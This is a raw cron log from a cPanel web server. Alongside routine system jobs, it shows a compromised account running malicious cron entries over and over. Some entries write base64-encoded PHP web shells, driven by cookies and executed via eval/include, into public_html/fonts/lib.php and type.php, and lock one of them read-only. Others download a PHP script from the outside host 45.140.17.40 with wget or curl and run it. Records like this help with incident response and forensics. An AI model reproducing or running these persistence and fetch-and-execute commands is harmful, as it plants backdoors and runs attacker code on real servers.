Sep  2 18:53:01 ip-184-168-122-23 CROND[29730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:53:01 ip-184-168-122-23 CROND[29729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:54:01 ip-184-168-122-23 CROND[29911]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 18:54:01 ip-184-168-122-23 CROND[29912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:54:01 ip-184-168-122-23 CROND[29915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:54:01 ip-184-168-122-23 CROND[29916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:54:01 ip-184-168-122-23 CROND[29917]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:55:01 ip-184-168-122-23 CROND[30078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:55:01 ip-184-168-122-23 CROND[30080]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:55:01 ip-184-168-122-23 CROND[30083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:55:01 ip-184-168-122-23 CROND[30082]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 18:55:01 ip-184-168-122-23 CROND[30084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:55:01 ip-184-168-122-23 CROND[30086]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 18:56:01 ip-184-168-122-23 CROND[30180]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:56:01 ip-184-168-122-23 CROND[30183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:56:01 ip-184-168-122-23 CROND[30182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:56:01 ip-184-168-122-23 CROND[30184]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 18:56:01 ip-184-168-122-23 CROND[30187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:57:01 ip-184-168-122-23 CROND[30290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:57:01 ip-184-168-122-23 CROND[30292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:57:01 ip-184-168-122-23 CROND[30291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:57:01 ip-184-168-122-23 CROND[30293]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:58:01 ip-184-168-122-23 CROND[30384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:58:01 ip-184-168-122-23 CROND[30382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:58:01 ip-184-168-122-23 CROND[30383]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 18:58:01 ip-184-168-122-23 CROND[30385]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:58:01 ip-184-168-122-23 CROND[30386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:59:01 ip-184-168-122-23 CROND[30547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:59:01 ip-184-168-122-23 CROND[30551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:59:01 ip-184-168-122-23 CROND[30549]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:59:01 ip-184-168-122-23 CROND[30552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:00:01 ip-184-168-122-23 CROND[30633]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 19:00:01 ip-184-168-122-23 CROND[30634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:00:01 ip-184-168-122-23 CROND[30637]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 19:00:01 ip-184-168-122-23 CROND[30639]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 19:00:01 ip-184-168-122-23 CROND[30642]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 19:00:01 ip-184-168-122-23 CROND[30644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:00:01 ip-184-168-122-23 CROND[30645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:00:01 ip-184-168-122-23 CROND[30646]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:01:01 ip-184-168-122-23 CROND[30741]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 19:01:01 ip-184-168-122-23 CROND[30743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:01:01 ip-184-168-122-23 CROND[30747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[30741]: starting 0anacron
Sep  2 19:01:01 ip-184-168-122-23 CROND[30749]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 19:01:01 ip-184-168-122-23 CROND[30752]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:01:01 ip-184-168-122-23 CROND[30748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[30761]: finished 0anacron
Sep  2 19:02:01 ip-184-168-122-23 CROND[30841]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 19:02:01 ip-184-168-122-23 CROND[30843]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:02:01 ip-184-168-122-23 CROND[30845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:02:01 ip-184-168-122-23 CROND[30847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:02:01 ip-184-168-122-23 CROND[30846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:03:01 ip-184-168-122-23 CROND[30930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:03:01 ip-184-168-122-23 CROND[30932]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:03:01 ip-184-168-122-23 CROND[30933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:03:01 ip-184-168-122-23 CROND[30934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:04:01 ip-184-168-122-23 CROND[31099]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 19:04:01 ip-184-168-122-23 CROND[31102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:04:01 ip-184-168-122-23 CROND[31103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:04:01 ip-184-168-122-23 CROND[31105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:04:01 ip-184-168-122-23 CROND[31110]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:05:02 ip-184-168-122-23 CROND[31223]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 19:05:02 ip-184-168-122-23 CROND[31226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:05:02 ip-184-168-122-23 CROND[31228]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
